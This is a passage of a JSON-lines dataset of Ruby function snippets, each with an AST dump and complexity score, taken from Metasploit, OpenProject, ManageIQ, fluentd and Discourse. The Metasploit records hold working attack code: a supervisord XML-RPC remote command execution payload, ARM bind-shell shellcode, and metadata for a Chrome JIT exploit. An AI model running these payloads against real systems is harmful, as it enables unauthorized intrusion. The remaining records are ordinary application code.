\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"access_token\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token\"]},{\"type\":\"lvar\",\"children\":[\"otp_code\"]}]}]},\"to_json\"]}]}]}]}]}","id":"bba721ea-0d54-4db5-ba05-989c9ee0e52c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/supervisor_xmlrpc_exec.rb","start_line":118,"raw_source":"def execute_command(cmd, opts = {})\n    # XML-RPC payload template, use nohup and & to detach and background the process so it doesnt hangup the web server\n    # Credit to the following urls for the os.system() payload\n    # https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610\n    # https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html\n    xml_payload = %{<?xml version=\"1.0\"?>\n<methodCall>\n  <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>\n  <params>\n    <param>\n      <string>echo -n #{Rex::Text.encode_base64(cmd)}|base64 -d|nohup bash > /dev/null 2>&amp;1 &amp;</string>\n    </param>\n  </params>\n</methodCall>}\n\n    # Send the XML-RPC payload via POST to the specified endpoint\n    endpoint_path = target_uri.path\n    print_status(\"Sending XML-RPC payload via POST to #{peer}#{datastore['TARGETURI']}\")\n\n    params = {\n      'method' => 'POST',\n      'uri' => normalize_uri(endpoint_path),\n      'ctype' => 'text/xml',\n      'headers' => { 'Accept' => 'text/xml' },\n      'data' => xml_payload,\n      'encode_params' => false\n    }\n    if !datastore['HttpUsername'].to_s.empty? and !datastore['HttpPassword'].to_s.empty?\n      print_status(\"Using basic auth (#{datastore['HttpUsername']}:#{datastore['HttpPassword']})\")\n      params.merge!({ 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']) })\n    end\n    return send_request_cgi(params, timeout = 5)\n  end","complexity_score":49.1,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"xml_payload\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<?xml version=\\\"1.0\\\"?>\\n\"]},{\"type\":\"str\",\"children\":[\"<methodCall>\\n\"]},{\"type\":\"str\",\"children\":[\"  <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>\\n\"]},{\"type\":\"str\",\"children\":[\"  <params>\\n\"]},{\"type\":\"str\",\"children\":[\"    <param>\\n\"]},{\"type\":\"str\",\"children\":[\"      <string>echo -n \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]},{\"type\":\"str\",\"children\":[\"|base64 -d|nohup bash > /dev/null 2>&amp;1 &amp;</string>\\n\"]},{\"type\":\"str\",\"children\":[\"    </param>\\n\"]},{\"type\":\"str\",\"children\":[\"  </params>\\n\"]},{\"type\":\"str\",\"children\":[\"</methodCall>\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"endpoint_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending XML-RPC payload via POST to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"endpoint_path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"text/xml\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Accept\"]},{\"type\":\"str\",\"children\":[\"text/xml\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"xml_payload\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"encode_params\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HttpUsername\"]}]},\"to_s\"]},\"empty?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HttpPassword\"]}]},\"to_s\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Using basic auth (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HttpUsername\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HttpPassword\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"authorization\"]},{\"type\":\"send\",\"children\":[null,\"basic_auth\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HttpUsername\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HttpPassword\"]}]}]}]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"lvasgn\",\"children\":[\"timeout\",{\"type\":\"int\",\"children\":[5]}]}]}]}]}]}","id":"26ac1864-6122-4b9c-a781-e47d25509d38"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/linux/armle/shell_bind_tcp.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      merge_info(\n        info,\n        'Name' => 'Linux Command Shell, Reverse TCP Inline',\n        'Version' => '',\n        'Description' => 'Connect to target and spawn a command shell',\n        'Author' => ['civ', 'hal'],\n        'License' => MSF_LICENSE,\n        'Platform' => 'linux',\n        'Arch' => ARCH_ARMLE,\n        'Handler' => Msf::Handler::BindTcp,\n        'Session' => Msf::Sessions::CommandShellUnix,\n        'Payload' => {\n          'Offsets' =>\n                  {\n                    'RHOST' => [ 172, 'ADDR' ],\n                    'LPORT' => [ 170, 'n' ]\n                  },\n          'Payload' =>\n                       [\n                         # socket\n                         0xe3a00002, # mov     r0, #2\n                         0xe3a01001, # mov     r1, #1\n                         0xe3a02006, # mov     r2, #6\n                         0xe3a07001, # mov     r7, #1\n                         0xe1a07407, # lsl     r7, r7, #8\n                         0xe2877019, # add     r7, r7, #25\n                         0xef000000, # svc     0x00000000\n                         0xe1a06000, # mov     r6, r0\n\n                         # bind\n                         0xe28f1080, # 1dr     r1, pc, #128\n                         0xe3a02010, # mov     r2, #16\n                         0xe3a07001, # mov     r7, #1\n                         0xe1a07407, # lsl     r7, r7, #8\n                         0xe287701a, # add     r7, r7, #26\n                         0xef000000, # svc     0x00000000\n\n                         # listen\n                         0xe1a00006, # mov     r0, r6\n                         0xe3a07001, # mov     r7, #1\n                         0xe1a07407, # lsl     r7, r7, #8\n                         0xe287701c, # add     r7, r7, #28\n                         0xef000000, # svc     0x00000000\n\n                         # accept\n                         0xe1a00006, # mov     r0, r6\n                         0xe0411001, # sub     r1, r1, r1\n                         0xe0422002, # sub     r2, r2, r2\n                         0xe3a07001, # mov     r7, #1\n                         0xe1a07407, # lsl     r7, r7, #8\n                         0xe287701d, # add     r7, r7, #29\n                         0xef000000, # svc     0x00000000\n\n                         # dup\n                         0xe1a06000, # mov     r6, r0\n                         0xe3a01002, # mov     r1, #2\n                         0xe1a00006, # mov     r0, r6\n                         0xe3a0703f, # mov     r7, #63 ; 0x3f\n                         0xef000000, # svc     0x00000000\n                         0xe2511001, # subs    r1, r1, #1\n                         0x5afffffa, # bpl     8c <.text+0x8c>\n\n                         # execve(\"/system/bin/sh\", args, env)\n                         0xe28f0024, # add     r0, pc, #36     ; 0x24\n                         0xe0244004, # eor     r4, r4, r4\n                         0xe92d0010, # push    {r4}\n                         0xe1a0200d, # mov     r2, sp\n                         0xe28f4024, # add     r4, pc, #36     ; 0x10\n                         0xe92d0010, # push    {r4}\n                         0xe1a0100d, # mov     r1, sp\n                         0xe3a0700b, # mov     r7, #11 ; 0xb\n                         0xef000000, # svc     0x00000000\n\n                         # <af>:\n                         0x04290002, # .word   0x5c110002 @ port: 4444 , sin_fam = 2\n                         0x0101a8c0, # .word   0x0101a8c0 @ ip: 192.168.1.1\n\n                         # <shell>:\n                         0x00000000, # .word   0x00000000 ; the shell goes here!\n                         0x00000000, # .word   0x00000000\n                         0x00000000, # .word   0x00000000\n                         0x00000000, # .word   0x00000000\n\n                         # <arg>:\n                         0x00000000, # .word   0x00000000 ; the args!\n                         0x00000000, # .word   0x00000000\n                         0x00000000, # .word   0x00000000\n                         0x00000000, # .word   0x00000000\n                       ].pack('V*')\n        }\n      )\n    )\n\n    # Register command execution options\n    register_options(\n      [\n        OptString.new('SHELL', [ true, 'The shell to execute.', '/bin/sh' ]),\n        OptString.new('ARGV0', [ false, 'argv[0] to pass to execve', 'sh' ]) # mostly used for busybox\n      ]\n    )\n  end","complexity_score":23.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Linux Command Shell, Reverse TCP Inline\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Version\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Connect to target and spawn a command shell\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"civ\"]},{\"type\":\"str\",\"children\":[\"hal\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_ARMLE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"BindTcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Session\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"CommandShellUnix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offsets\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RHOST\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[172]},{\"type\":\"str\",\"children\":[\"ADDR\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[170]},{\"type\":\"str\",\"children\":[\"n\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[3818913794]},{\"type\":\"int\",\"children\":[3818917889]},{\"type\":\"int\",\"children\":[3818921990]},{\"type\":\"int\",\"children\":[3818942465]},{\"type\":\"int\",\"children\":[3785389063]},{\"type\":\"int\",\"children\":[3800526873]},{\"type\":\"int\",\"children\":[4009754624]},{\"type\":\"int\",\"children\":[3785383936]},{\"type\":\"int\",\"children\":[3801026688]},{\"type\":\"int\",\"children\":[3818922000]},{\"type\":\"int\",\"children\":[3818942465]},{\"type\":\"int\",\"children\":[3785389063]},{\"type\":\"int\",\"children\":[3800526874]},{\"type\":\"int\",\"children\":[4009754624]},{\"type\":\"int\",\"children\":[3785359366]},{\"type\":\"int\",\"children\":[3818942465]},{\"type\":\"int\",\"children\":[3785389063]},{\"type\":\"int\",\"children\":[3800526876]},{\"type\":\"int\",\"children\":[4009754624]},{\"type\":\"int\",\"children\":[3785359366]},{\"type\":\"int\",\"children\":[3762360321]},{\"type\":\"int\",\"children\":[3762429954]},{\"type\":\"int\",\"children\":[3818942465]},{\"type\":\"int\",\"children\":[3785389063]},{\"type\":\"int\",\"children\":[3800526877]},{\"type\":\"int\",\"children\":[4009754624]},{\"type\":\"int\",\"children\":[3785383936]},{\"type\":\"int\",\"children\":[3818917890]},{\"type\":\"int\",\"children\":[3785359366]},{\"type\":\"int\",\"children\":[3818942527]},{\"type\":\"int\",\"children\":[4009754624]},{\"type\":\"int\",\"children\":[3796963329]},{\"type\":\"int\",\"children\":[1526726650]},{\"type\":\"int\",\"children\":[3801022500]},{\"type\":\"int\",\"children\":[3760472068]},{\"type\":\"int\",\"children\":[3912040464]},{\"type\":\"int\",\"children\":[3785367565]},{\"type\":\"int\",\"children\":[3801038884]},{\"type\":\"int\",\"children\":[3912040464]},{\"type\":\"int\",\"children\":[3785363469]},{\"type\":\"int\",\"children\":[3818942475]},{\"type\":\"int\",\"children\":[4009754624]},{\"type\":\"int\",\"children\":[69795842]},{\"type\":\"int\",\"children\":[16885952]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V*\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SHELL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The shell to execute.\"]},{\"type\":\"str\",\"children\":[\"/bin/sh\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"ARGV0\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"argv[0] to pass to execve\"]},{\"type\":\"str\",\"children\":[\"sh\"]}]}]}]}]}]}]}","id":"f9762a39-837b-400d-915c-d65169143ba5"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/custom_actions/actions/strategies/boolean.rb","start_line":27,"raw_source":"def allowed_values\n    [\n      { label: I18n.t(:general_text_yes), value: OpenProject::Database::DB_VALUE_TRUE },\n      { label: I18n.t(:general_text_no), value: OpenProject::Database::DB_VALUE_FALSE }\n    ]\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"general_text_yes\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Database\"]},\"DB_VALUE_TRUE\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"general_text_no\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Database\"]},\"DB_VALUE_FALSE\"]}]}]}]}]}","id":"b48f6e76-fa6d-4343-9086-42baab0cf7ba"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_provision_workflow.rb","start_line":25,"raw_source":"def self.find_matching_constant(string)\n    const = string.safe_constantize\n    const if const.try(:name) == string\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_matching_constant\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"const\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"string\"]},\"safe_constantize\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"const\"]},\"try\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"string\"]}]},{\"type\":\"lvar\",\"children\":[\"const\"]},null]}]}]}","id":"9089134b-d984-4c26-a94d-dc8d91cc7ea6"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/configurable.rb","start_line":184,"raw_source":"def merged_configure_proxy\n        configurables = ancestors.reverse.select{ |a| a.respond_to?(:configure_proxy) }\n\n        # 'a.object_id.to_s' is to support anonymous class\n        #   which created in tests to overwrite original behavior temporally\n        #\n        # p Module.new.name   #=> nil\n        # p Class.new.name    #=> nil\n        # p AnyGreatClass.dup.name #=> nil\n        configurables.map{ |a| a.configure_proxy(a.name || a.object_id.to_s) }.reduce(:merge)\n      end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"merged_configure_proxy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"configurables\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ancestors\"]},\"reverse\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"configure_proxy\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"configurables\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"configure_proxy\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"object_id\"]},\"to_s\"]}]}]}]},\"reduce\",{\"type\":\"sym\",\"children\":[\"merge\"]}]}]}]}","id":"547780de-ebbf-4f93-9fb9-fee223227709"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/scheduled/old_keys_reminder.rb","start_line":9,"raw_source":"def execute(_args)\n      return if SiteSetting.send_old_credential_reminder_days.to_i == 0\n      return if message_exists?\n      return if old_site_settings_keys.blank? && old_api_keys.blank?\n\n      PostCreator.create!(\n        Discourse.system_user,\n        title: title,\n        raw: body,\n        archetype: Archetype.private_message,\n        target_usernames: admins.map(&:username),\n        validate: false,\n      )\n    end","complexity_score":23.2,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"send_old_credential_reminder_days\"]},\"to_i\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message_exists?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"old_site_settings_keys\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"old_api_keys\"]},\"blank?\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostCreator\"]},\"create!\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"system_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"send\",\"children\":[null,\"body\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"archetype\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Archetype\"]},\"private_message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_usernames\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"admins\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"validate\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"b1de7368-eb44-415c-853e-1e99dab000b8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/browser/chrome_object_create.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Google Chrome 67, 68 and 69 Object.create exploit',\n        'Description' => %q{\n          This modules exploits a type confusion in Google Chromes JIT compiler.\n          The Object.create operation can be used to cause a type confusion between a\n          PropertyArray and a NameDictionary.\n          The payload is executed within the rwx region of the sandboxed renderer\n          process.\n          This module can target the renderer process (target 0), but Google\n          Chrome must be launched with the --no-sandbox flag for the payload to\n          execute successfully.\n          Alternatively, this module can use CVE-2019-1458 to escape the renderer\n          sandbox (target 1). This will only work on vulnerable versions of\n          Windows (e.g Windows 7) and the exploit can only be triggered once.\n          Additionally the exploit can cause the target machine to restart\n          when the session is terminated. A BSOD is also likely to occur when\n          the system is shut down or rebooted.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'saelo', # discovery and exploit\n          'timwr', # metasploit module\n        ],\n        'References' => [\n          ['CVE', '2018-17463'],\n          ['URL', 'http://www.phrack.org/papers/jit_exploitation.html'],\n          ['URL', 'https://ssd-disclosure.com/archives/3783/ssd-advisory-chrome-type-confusion-in-jscreateobject-operation-to-rce'],\n          ['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'],\n          ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=888923'],\n        ],\n        'Arch' => [ ARCH_X64 ],\n        'Platform' => ['windows', 'osx', 'linux'],\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => [ REPEATABLE_SESSION ],\n          'SideEffects' => [ IOC_IN_LOGS ],\n          'Stability' => [CRASH_SAFE]\n        },\n        'Targets' => [\n          [\n            'No sandbox escape (--no-sandbox)', {}\n          ],\n          [\n            'Windows 7 (x64) sandbox escape via CVE-2019-1458',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_X64],\n              'DefaultOptions' => { 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }\n            }\n          ],\n        ],\n        'DisclosureDate' => '2018-09-25'\n      )\n    )\n    deregister_options('DLL')\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Google Chrome 67, 68 and 69 Object.create exploit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This modules exploits a type confusion in Google Chromes JIT compiler.\\n\"]},{\"type\":\"str\",\"children\":[\"          The Object.create operation can be used to cause a type confusion between a\\n\"]},{\"type\":\"str\",\"children\":[\"          PropertyArray and a NameDictionary.\\n\"]},{\"type\":\"str\",\"children\":[\"          The payload is executed within the rwx region of the sandboxed renderer\\n\"]},{\"type\":\"str\",\"children\":[\"          process.\\n\"]},{\"type\":\"str\",\"children\":[\"          This module can target the renderer process (target 0), but Google\\n\"]},{\"type\":\"str\",\"children\":[\"          Chrome must be launched with the --no-sandbox flag for the payload to\\n\"]},{\"type\":\"str\",\"children\":[\"          execute successfully.\\n\"]},{\"type\":\"str\",\"children\":[\"          Alternatively, this module can use CVE-2019-1458 to escape the renderer\\n\"]},{\"type\":\"str\",\"children\":[\"          sandbox (target 1). This will only work on vulnerable versions of\\n\"]},{\"type\":\"str\",\"children\":[\"          Windows (e.g Windows 7) and the exploit can only be triggered once.\\n\"]},{\"type\":\"str\",\"children\":[\"          Additionally the exploit can cause the target machine to restart\\n\"]},{\"type\":\"str\",\"children\":[\"          when the session is terminated. A BSOD is also likely to occur when\\n\"]},{\"type\":\"str\",\"children\":[\"          the system is shut down or rebooted.\\n\"]},{\"type\":\"str\",\"children\":[\"        